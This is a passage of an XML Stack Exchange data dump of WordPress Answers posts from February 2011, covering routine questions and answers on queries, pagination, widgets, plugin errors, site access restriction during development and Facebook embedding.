LastActivityDate="2011-02-14T16:54:28.733" CommentCount="1" />
  <row Id="9318" PostTypeId="2" ParentId="9314" CreationDate="2011-02-14T16:53:10.853" Score="2" ViewCount="" Body="&lt;p&gt;If you know how to, just set up apache basic authentication - this will give you a little dialog box that asks for a username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main advantage is that you don't need to change your WP setup, and any authorised user can see the front end. Once you're ready, turn it off, and you're good to go&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-14T16:53:10.853" CommentCount="1" />
  <row Id="9319" PostTypeId="2" ParentId="9294" CreationDate="2011-02-14T17:43:08.847" Score="1" ViewCount="" Body="&lt;p&gt;I had the exact same problem. Here are 2 solutions, were the first needs some coding from your side and the second is &quot;hit and run&quot; plus is semantically correct: A list.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;paginate_link()&lt;/code&gt;&lt;/a&gt; function&lt;/li&gt;&#xA;&lt;li&gt;my &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;&quot;easy pagination deamon&quot;&lt;/a&gt; plugin&lt;br&gt;&#xA;-&gt; offers a template tag (you can change the name) like &lt;code&gt;oxo_pagination( $range);&lt;/code&gt; that outputs the following:&lt;br&gt;&#xA;&lt;code&gt;[first][previous][1][2][3][4][5][next][last]&lt;/code&gt;&lt;br&gt;&#xA;With the $range attribute you can tell how many page links you want to have (seen from current one) and you also got a small stylesheet that gives you the ability to target every part of the pagination plus the current one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-14T17:43:08.847" />
  <row Id="9320" PostTypeId="2" ParentId="9308" CreationDate="2011-02-14T18:15:05.730" Score="0" ViewCount="" Body="&lt;p&gt;Add the &lt;a href=&quot;https://gist.github.com/826061&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_columns_array()&lt;/code&gt;&lt;/a&gt; function to your function.php. You can then easily iterate over your columns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme you then foreach loop over the columns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');?&amp;gt;&#xA;&amp;lt;?php foreach(get_columns_array($post_count) as $column_count) : ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php while ($column_count--) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endforeach; wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set the default size of a column to 10. You can use the second parameter to set the size of a column on your own. Like to 7: &lt;code&gt;get_columns_array($post_count, 7);&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T09:46:30.187" LastActivityDate="2011-02-16T09:46:30.187" />
  <row Id="9322" PostTypeId="2" ParentId="9239" CreationDate="2011-02-14T18:27:52.463" Score="1" ViewCount="" Body="&lt;p&gt;You did everything right with the globalize, the error message is just telling you that you called a function on $wpdb which does not exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just check prior you do that $wpdb contains the object you're intersted in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_object($wpdb) &amp;amp;&amp;amp; is_a($wpdb, 'wpdb')) {&#xA;    $result = $wpdb-&amp;gt;insert( 'wp_weights', array( 'user_id' =&amp;gt; $userid, 'current_weight' =&amp;gt; $weight ), array( '%d', '%d' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can add this below the global line to learn more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;var_dump($wpdb); // dump variable type and contents.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( ABSPATH . 'wp-load.php' );&#xA;global $wpdb;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might not have wordpress ready to provide what you need in $wpdb.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-14T18:42:19.707" LastActivityDate="2011-02-14T18:42:19.707" CommentCount="12" />
  <row Id="9323" PostTypeId="1" CreationDate="2011-02-14T18:33:58.723" Score="1" ViewCount="259" Body="&lt;p&gt;How do you link an attachment image to its category?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_attachment_image($size = thumb) {&#xA;    if($images = get_children(array(&#xA;        'post_parent'    =&amp;gt; get_the_ID(),&#xA;        'post_type'      =&amp;gt; 'attachment',&#xA;        'numberposts'    =&amp;gt; -1, // show all&#xA;        'post_status'    =&amp;gt; null,&#xA;        'post_mime_type' =&amp;gt; 'image',&#xA;    ))) {&#xA;        foreach($images as $image) {&#xA;            $attimg   = wp_get_attachment_image($image-&amp;gt;ID,$size);&#xA;            $atturl   = wp_get_attachment_url($image-&amp;gt;ID);&#xA;            $attlink  = get_attachment_link($image-&amp;gt;ID);&#xA;            $postlink = get_permalink($image-&amp;gt;post_parent);&#xA;            $atttitle = apply_filters('the_title',$image-&amp;gt;post_title);&#xA;&#xA;            echo '&amp;lt;a href=&quot;'.$postlink.'&quot;&amp;gt;'.$attimg.'&amp;lt;/a&amp;gt;';&#xA;        }&#xA;    }&#xA;}&#xA;wp_attachment_image('thumb');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3140" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-02-14T19:13:30.373" LastActivityDate="2011-06-14T21:02:12.250" Title="Link Attachment Image to Category" Tags="&lt;categories&gt;&lt;images&gt;&lt;attachments&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="9324" PostTypeId="2" ParentId="9323" CreationDate="2011-02-14T18:48:45.560" Score="1" ViewCount="" Body="&lt;p&gt;I posted a short &lt;a href=&quot;http://en.bainternet.info/2011/wordpress-category-extra-fields&quot; rel=&quot;nofollow&quot;&gt;how to add extra fields to categories&lt;/a&gt; and once you have that done you can link the attachment using the attachment URL or the ID of the attachment.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-14T18:48:45.560" />
  <row Id="9325" PostTypeId="2" ParentId="9308" CreationDate="2011-02-14T19:41:31.100" Score="1" ViewCount="" Body="&lt;p&gt;There's no need to create a separate var for counting, as the query var already counts it at: &lt;code&gt;$wp_query-&amp;gt;current_post&lt;/code&gt;. Also, you need to account for the final entry in the list so you don't have empty &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; in your markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$the_query = new WP_Query('showposts=21&amp;amp;orderby=title&amp;amp;order=asc'); &#xA;echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;while ($the_query-&amp;gt;have_posts()) :&#xA;    $the_query-&amp;gt;the_post();&#xA;    echo &quot;&amp;lt;li&amp;gt;{$the_query-&amp;gt;current_post}&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;    // Note that the post is already counted in the $the_query-&amp;gt;current_post variable when in the loop. Add one to translate array counting to real counts.&#xA;    // Jan's example didn't account for the final entry in the list. Don't want empty &amp;lt;ul&amp;gt;'s hanging around&#xA;    if ((($the_query-&amp;gt;current_post+1) % 10 == 0) &amp;amp;&amp;amp; ($the_query-&amp;gt;current_post+1 !== count($the_query-&amp;gt;posts))):&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;ul&amp;gt;&quot;;&#xA;    endif;&#xA;endwhile;&#xA;echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-02-14T23:52:21.730" LastActivityDate="2011-02-14T23:52:21.730" CommentCount="4" />
  <row Id="9326" PostTypeId="2" ParentId="9314" CreationDate="2011-02-14T19:49:19.647" Score="1" ViewCount="" Body="&lt;p&gt;or you can put this AS THE FIRST THING in your wp-config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;///////////////////////////////////////////--start, change before going live&#xA;//temporary IP-based redirect&#xA;&#xA;//IPs: mine:go to whatismyip.com to find it&#xA;&#xA;$allowedips = array(&quot;my.dev.ip.here&quot;);&#xA;$userip =$_SERVER['REMOTE_ADDR'];&#xA;if( !in_array($userip, $allowedips) )&#xA;{&#xA;    header('Location: http://cnn.com/');//or wherever you want&#xA;    exit;&#xA;}&#xA;//////////////////////////////////////////--end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3147" LastActivityDate="2011-02-14T19:49:19.647" />
  <row Id="9327" PostTypeId="1" AcceptedAnswerId="9328" CreationDate="2011-02-14T19:51:21.440" Score="0" ViewCount="143" Body="&lt;p&gt;I need to find if a post with a custom field X equal to Y exists in a wordpress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I do it with a simple sql query or is there something build in that can help me achieve it?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-08T12:54:47.630" Title="How to find if a post with custom_field == X exists?" Tags="&lt;3.0&gt;&lt;database&gt;&lt;mysql&gt;&lt;wp-query&gt;&lt;query&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="9328" PostTypeId="2" ParentId="9327" CreationDate="2011-02-14T19:58:35.360" Score="2" ViewCount="" Body="&lt;p&gt;You can use the WP_Query(); to check that like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query();&#xA;$my_query-&amp;gt;query(array( 'meta_key' =&amp;gt; 'X', 'meta_value' =&amp;gt; 'Y'));&#xA;if ( my_query-&amp;gt;have_posts() ){&#xA;&#xA;     //it exists&#xA;&#xA;}else{&#xA;    //it's not here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-14T19:58:35.360" CommentCount="4" />
  <row Id="9329" PostTypeId="2" ParentId="9327" CreationDate="2011-02-14T20:01:09.557" Score="1" ViewCount="" Body="&lt;p&gt;The current way would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts(array(&#xA;    'meta_key' =&amp;gt; 'color',&#xA;    'meta_value' =&amp;gt; 'blue',&#xA;));&#xA;&#xA;if( !empty($posts) ) { // some posts found }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just note that in upcoming 3.1 querying for custom fields is considerably improved and arguments change, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T20:01:09.557" CommentCount="1" />
  <row Id="9330" PostTypeId="2" ParentId="9310" CreationDate="2011-02-14T20:15:21.617" Score="1" ViewCount="" Body="&lt;p&gt;You can use the asynchronous XFBML javascript but you have to register an app and get an appID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function I use to add the XFBML to the footer.  Note:  This will work for the like button also.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_footer', 'c3m_share_this_scripts' );&#xA;function c3m_share_this_scripts() {&#xA;    echo    '               &amp;lt;script&amp;gt;';&#xA;            echo        &quot;               window.fbAsyncInit = function() {;&#xA;                        FB.init({appId: 'xxxxxxxxxxxxxxx', status: true, cookie: true,&#xA;                                xfbml: true});&#xA;                                };&quot;;&#xA;            echo        &quot;                 (function() {&#xA;                                        var e = document.createElement('script'); e.async = true;&#xA;                                        e.src = document.location.protocol +&#xA;                                          '//connect.facebook.net/en_US/all.js';&#xA;                                    document.getElementById('fb-root').appendChild(e);&#xA;                                      }());&#xA;                                    &amp;lt;/script&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the xxxxx's with your appID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to add the like box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function c3m_facebook_likebox() {&#xA;         echo '&amp;lt;fb:like-box href=&quot;http://www.facebook.com/your_page_url&quot; width=&quot;292&quot; colorscheme=&quot;dark&quot; show_faces=&quot;true&quot; stream=&quot;true&quot; header=&quot;true&quot;&amp;gt;&amp;lt;/fb:like-box&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can hook the above function into a content hook or just add the &lt;code&gt;c3m_facebook_likebox();&lt;/code&gt; template tag where you want it to show up.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-14T20:15:21.617" CommentCount="1" />
  <row Id="9331" PostTypeId="1" CreationDate="2011-02-14T20:23:04.213" Score="0" ViewCount="69" Body="&lt;p&gt;I use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/lj-xp/&quot; rel=&quot;nofollow&quot;&gt;Livejournal Crossposter&lt;/a&gt; to automatically crosspost my WP blog posts to my LiveJournal account. It works great, except for one thing. Right after the header with the links to my WP blog and the comments for that article, there's a huge amount of dead space before the content starts.  I've left &lt;a href=&quot;http://inkandpixelclub.livejournal.com/&quot; rel=&quot;nofollow&quot;&gt;one entry&lt;/a&gt; like this so you can see the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue seems to come from a couple of &quot;lj-embed&quot; tags.  If I delete them, the extra space goes away, but having to go back in and edit the LiveJournal posts sort of defeats the purpose of having a plugin to crosspost them for me.  The site that the link for the plugin site leads to doesn't seem to have anything to do with the plugin, so that's no help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can edit the code to remove the dead space from my LiveJournal posts?  And if that's not possible, is there a better LiveJournal crossposting plugin I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-14T23:26:38.860" LastActivityDate="2011-08-13T09:23:25.647" Title="Plugin: Too Much Space When Crossposting To LiveJournal" Tags="&lt;plugins&gt;&lt;plugin-lj-xp&gt;" AnswerCount="1" />
  <row Id="9332" PostTypeId="1" AcceptedAnswerId="9333" CreationDate="2011-02-14T20:29:09.357" Score="0" ViewCount="884" Body="&lt;p&gt;I'm building a custom homepage for a client where they want to have a few changeable boxes to link to specific pages, or posts, within the site. I've added custom fields to the homepage so that they need only enter the page/post ID, and then it will display the proper post or page. And I'd like it to be flexible enough that they can do a post or page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, my code for the box is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('p='.$topright); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;     {title and featured image}&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where $topright is a variable already defined. (I've tested the variable with an echo and it is returning the proper ID number.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, WordPress seems to require that I use p=ID if it is a post, and page_id=ID if it is a page. So, if I designate the ID for a post, it is working fine, but not if I desingate the ID for a page. Is there an alternative syntax I could use? Or, it there a conditional of some kind that might look a the ID and recognize if it is a post or a page so I could run the query with an IF ELSE?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-02-14T20:42:04.853" Title="use query_posts to return a post OR a page by ID" Tags="&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="9333" PostTypeId="2" ParentId="9332" CreationDate="2011-02-14T20:41:56.607" Score="2" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'p' =&amp;gt; $topright,&#xA;    'post_type' =&amp;gt; array('post', 'page'),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T20:41:56.607" />
  <row Id="9334" PostTypeId="2" ParentId="9332" CreationDate="2011-02-14T20:42:04.853" Score="2" ViewCount="" Body="&lt;p&gt;you can use 'post__in'  in your query and if you are creating a custom query you should use WP_Query or get_posts and not query_posts , so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query();&#xA;$my_query-&amp;gt;query(array( 'post__in' =&amp;gt; array($topright)));&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     {title and featured image}&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-14T20:42:04.853" />
  <row Id="9335" PostTypeId="1" AcceptedAnswerId="9336" CreationDate="2011-02-14T20:50:08.503" Score="1" ViewCount="154" Body="&lt;p&gt;The other day, I switched from 2010 default them to Semiologic, then back.  When back to the 2010, all my appearance/widgets had gone back to the default.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this often happen? What is the best practice?  Should I always do a database backup before trying new themes, then restore if I don't like it?  Or is there something simple I might have missed?  &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-02-14T21:07:57.643" Title="Switching themes without losing widgets?" Tags="&lt;themes&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="9336" PostTypeId="2" ParentId="9335" CreationDate="2011-02-14T21:07:57.643" Score="3" ViewCount="" Body="&lt;p&gt;Storing widgets is complex topic. Basically it is such a multi-level-array-mess on the inside that very few people try to make sense of it (and even fewer succeed). :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand it myself while we can manipulate cute sidebar names on the surface, deep inside it is getting deconstructed to numerical IDs. So when you switch between themes amount and order of available IDs shift and widgets go haywire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory any widget that can't find its designated place is supposed to land in &quot;Inactive Widgets&quot; area. In practice - who knows. I experienced widgets disappearing, appearing, duplicating and whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have any kind of complex widget setup I highly recommend not to experiment with themes on it. I have stockpiled idea to do reliable widget import/export, but it will take me plenty more time to gather enough courage to touch that. Did I say it is a mess inside? :)&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T21:07:57.643" CommentCount="4" />
  <row Id="9337" PostTypeId="1" CreationDate="2011-02-14T21:27:03.317" Score="1" ViewCount="73" Body="&lt;p&gt;right now our posts on the landing page are only showing 2 lines of the content. How can I get the posts to show 5 lines of the content each?&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T21:32:32.147" Title="How to make the post summary taller?" Tags="&lt;posts&gt;&lt;homepage&gt;" AnswerCount="1" />
  <row Id="9338" PostTypeId="1" AcceptedAnswerId="9340" CreationDate="2011-02-14T21:30:10.863" Score="1" ViewCount="1196" Body="&lt;p&gt;I just tried an automatic upgrade of list category posts plugin to version 0.17.2 on Wordpress 3.0.5. I think I had 0.17.1 before. It installed but failed to activate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Plugin could not be activated because it triggered a fatal error.&#xA;Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /hsphere/local/home/carrollp/clanecommunity.ie/wp-content/plugins/list-category-posts/include/CatListDisplayer.php on line 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly author has &lt;a href=&quot;http://picandocodigo.net/programacion/wordpress/list-category-posts-wordpress-plugin-english/&quot; rel=&quot;nofollow&quot;&gt;requested&lt;/a&gt; issues be posted here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never debugged wordpress before. Appreciate any help. My site home page is relying on this plugin. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3149" LastActivityDate="2011-03-20T18:09:17.207" Title="List category posts plugin upgrade fails: fatal error" Tags="&lt;errors&gt;&lt;upgrade&gt;&lt;plugin-list-category-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9339" PostTypeId="2" ParentId="9337" CreationDate="2011-02-14T21:32:32.147" Score="2" ViewCount="" Body="&lt;p&gt;You can either manually enter content into &lt;code&gt;the_excerpt&lt;/code&gt; section or use this code in your &lt;code&gt;functions.php&lt;/code&gt; file in your theme&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_excerpt_length( $length ) {&#xA;return 200;&#xA;}&#xA;add_filter( 'excerpt_length', 'custom_excerpt_length', 999 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the number 200 to the number of &lt;strong&gt;characters&lt;/strong&gt; you want until it's the number of lines you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-14T21:32:32.147" />
  <row Id="9340" PostTypeId="2" ParentId="9338" CreationDate="2011-02-14T21:33:59.647" Score="2" ViewCount="" Body="&lt;p&gt;Yes, I've asked for issues to be reported here, so that you can get answers from the larger community of WordPress users and developers at WordPress Answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the issue, other user also reported it, and it is due to the webhost using PHP 4. Line 10 of CatListDisplayer.php declares a private attribute. PHP 4 doesn't have public, private or protected accessors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to ask your webhosting provider to update your server to PHP 5?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other possible solution is to download the previous version of the plugin: 0.16, which doesn't use Object Oriented PHP.&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="298" LastEditorDisplayName="" LastEditDate="2011-03-20T18:09:17.207" LastActivityDate="2011-03-20T18:09:17.207" CommentCount="6" />
  <row Id="9341" PostTypeId="2" ParentId="9316" CreationDate="2011-02-14T21:36:23.143" Score="1" ViewCount="" Body="&lt;p&gt;I would check this plugin out. I allows guests to create posts but not sure about editing live posts. &gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anonymous Posting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows anonymous users/readers to write their own posts, writing is protected with reCAPTCHA. Plugin can be used for some kind of message board or public forum, you can configure comments under anonymous posts. Writing is avaialbe via special page/post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/anon-posting/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/anon-posting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2011-02-14T21:36:23.143" CommentCount="1" />
  <row Id="9342" PostTypeId="2" ParentId="891" CreationDate="2011-02-14T21:58:51.187" Score="0" ViewCount="" Body="&lt;p&gt;not sure if anyone is still looking to solve this - but just got here trying to find the answer myself - thought I'd share my solution :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also wanted to use the &amp;#60;nav&amp;#62; instead of the &amp;#60;div&amp;#62; element and solved it by removing the &amp;#60;div&amp;#62;, as stated on this page, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wordpress codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_nav_menu&lt;/a&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_wp_nav_menu_args( $args = '' )&#xA;{&#xA;    $args['container'] = false;&#xA;    return $args;&#xA;} // function&#xA;&#xA;add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Added to my functions.php file, marked up the theme file with the &amp;#60;nav&amp;#62; tag &amp;amp; all worked fine for me ;) hope this helps :)&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T21:58:51.187" />
  <row Id="9343" PostTypeId="2" ParentId="9300" CreationDate="2011-02-14T22:32:27.523" Score="1" ViewCount="" Body="&lt;p&gt;Check the twenty ten themes function file, there should be a function to register menus. After adding it to your theme you'll have a new tab in your admin panel under appearance called menu where you can set the menu's items and sub items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line 96 in the functions.php file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This theme uses wp_nav_menu() in one location.&#xA;register_nav_menus( array(&#xA;    'primary' =&amp;gt; __( 'Primary Navigation', 'twentyten' ),&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2873" LastActivityDate="2011-02-14T22:32:27.523" />
  <row Id="9344" PostTypeId="1" CreationDate="2011-02-14T23:23:18.647" Score="1" ViewCount="208" Body="&lt;p&gt;So I'm starting to get to grips with Git (never used any VCS before). Some Git users tell me to only push to production server and never pull from it to my local dev server. That leaves me with this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run WordPress 3.0 in a Multi Site environment. On the production server, I create a new blog (let's call it no. 6) from the dashboard and need a custom theme for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I download the db from the live server and install it locally to have the latest plugin settings, blogs etc. I install the database, tweak all the urls to match localhost. But! the folder with the new blog will be missing from the wp-content folder because I'm not syncing that folder from liveserver to devserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i, with Git, checkout the most current repo from my live server to my local machine (or something like GitHub and then ) when I need to complete a task like this? Or am I looking at it the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="3167" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-24T18:41:25.133" LastActivityDate="2011-03-26T20:38:22.903" Title="Git beginner: Keeping track of on-server changes" Tags="&lt;git&gt;&lt;deployment&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="9345" PostTypeId="1" CreationDate="2011-02-14T23:59:14.847" Score="1" ViewCount="193" Body="&lt;p&gt;I'm using WordPress 3.0.5 and have tested with 3.1rc4. In the main PHP file of my plugin, when I try to call is_plugin_active I get &lt;code&gt;Call to undefined function is_plugin_active()&lt;/code&gt;. I can call add_action and add_filter. What should I check/change to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening inside of the admin on the Plugins page. At the top of my main plugin file I have, &lt;code&gt;if (function_exists('is_plugin_active')) {&lt;/code&gt; which always returns false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can't see the functions from my main plugin file in other plugins (if that helps any).&lt;/p&gt;&#xA;" OwnerUserId="3168" LastEditorUserId="3168" LastEditorDisplayName="" LastEditDate="2011-02-16T04:03:44.470" LastActivityDate="2011-04-30T14:52:36.107" Title="is_plugin_active function doesn't exist" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="4" CommentCount="4" />
  <row Id="9346" PostTypeId="1" CreationDate="2011-02-15T00:15:30.983" Score="2" ViewCount="438" Body="&lt;p&gt;I would like to have the option to use taxonomy in the url instead of only having category like &quot;uncategorized.&quot; Note that I have multiple taxonomies (countries, states etc), some of which have thousands of terms (if that even matters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I failed to mention that this is an offshoot of another question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9237/pros-and-cons-of-using-taxonomy-name-in-place-of-category-name&quot;&gt;Pros and cons of using [taxonomy name] in place of [category name]?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is a permalink that looks something like domain.com/2011/taxonomy-term/post-name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have a taxonomy named countries and a post about Egypt, I want to be able to plug the Egypt term into that url. &lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2011-02-16T20:08:17.230" LastActivityDate="2011-07-18T15:21:35.090" Title="How do I rewrite a url to use %taxonomy% instead of %category% when multiple taxonomies are present?" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" />
